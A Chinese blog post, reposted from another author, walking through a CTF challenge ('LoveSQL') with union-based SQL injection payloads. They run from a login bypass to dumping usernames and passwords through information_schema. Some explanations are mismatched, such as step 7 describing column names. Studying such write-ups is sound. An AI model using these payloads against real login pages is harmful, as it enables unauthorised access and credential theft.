乐呵呵同学的博客

lehhair's Blog

[极客大挑战 2019]LoveSQL 1

2023-04-17

[极客大挑战 2019]LoveSQL

  1. 试试万能密码

    admin' or '1'='1
    

    这是一个经典的SQL注入示例,试图通过使用万能密码绕过身份验证。在这种情况下,SQL查询将成为以下内容:

    SELECT * FROM users WHERE username='admin' or '1'='1' AND password='password'
    

    这将返回数据库中所有用户的记录,因为'1'='1'是一个始终为真的条件。

  2. 爆破字段

    admin ' order by 1 #
    /check.php?username=admin' order by 4%23&password=1 
    

    这是一种通过使用order by语句来确定查询中有多少列的方式。在这种情况下,我们通过在查询的末尾添加order by子句来检查响应。如果响应错误,则一列也没有。如果响应是正确的,它将告诉我们有多少列。在这种情况下,我们尝试使用order by 4,但查询只有三列,因此我们收到了一个错误。

  3. 用union查询测试注入点(回显点位)

    /check.php?username=1' union select 1,2,3%23&password=1
    

    这是一种使用union语句进行注入的方式。在这种情况下,我们使用union select语句将第一个查询的结果与第二个查询的结果组合在一起。在这个例子中,我们将回显点设置为第三列,因为它是一个数字,不需要引号。如果查询成功,我们将看到“3”在页面上显示。

  4. 爆破数据库

    /check.php?username=1' union select 1,database(),version()%23&password=1
    

    这是一种使用union语句查询数据库名称和版本号的方式。我们在查询中使用database()函数来确定当前数据库的名称。在这个例子中,我们还使用version()函数来确定数据库的版本号。

  5. 爆破数据表

    /check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
    

    这是一种使用union语句查询信息模式中的表名的方式。我们使用information_schema.tables表来确定数据库中的所有表。我们使用table_schema=database()来限制查询结果只包括当前数据库中的表。我们使用group_concat函数将所有表名连接在一起,以便在页面上以字符串形式呈现。

  6. 爆破字段

    /check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'%23&password=1
    
    /check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
    
  7. 爆破数据

    /check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1
    
    /check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
    

    这是一种使用union语句查询信息模式中的列名的方式。我们使用information_schema.columns表来确定指定表中的所有列名。我们使用table_schema=database()和table_name=...来限制查询结果只包括指定表中的列名。我们使用group_concat函数将所有列名连接在一起,以便在页面上以字符串形式呈现。

  8. 查看flag

    • 查看网页源码

转载自归子莫 原文